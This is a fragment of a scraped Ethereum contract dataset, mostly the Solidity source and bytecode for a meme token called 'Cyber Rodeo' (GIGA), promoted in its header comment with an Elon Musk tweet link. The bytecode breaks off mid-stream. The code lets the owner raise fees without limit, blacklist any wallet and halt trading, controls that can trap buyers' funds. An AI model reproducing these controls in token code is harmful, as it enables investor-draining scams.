405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820ac23dc84481d1eadf10df124e105f47ebef6d8f68cfbb900cc59c88463e2483064736f6c63430005110032
{"success": true, "error": null, "results": {}}
6,781
0xb8ae9d1054a7c837b71b54563a10260eb3b816e1
/** https://twitter.com/elonmusk/status/1511950430539902976/photo/1 Gigafactory Texas Grand opening party now on Uniswap! Entry fee 5%, exit fee 5%. Lock & Renounce */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CyberRodeo is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cyber Rodeo"; string private constant _symbol = "GIGA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x373b6a11ADDD37B56F49586813140FCc8D3C8D35); address payable private _marketingAddress = payable(0x373b6a11ADDD37B56F49586813140FCc8D3C8D35); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50000000 * 10**9; uint256 public _maxWalletSize = 1000000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600b81526020017f437962657220526f64656f000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4749474100000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e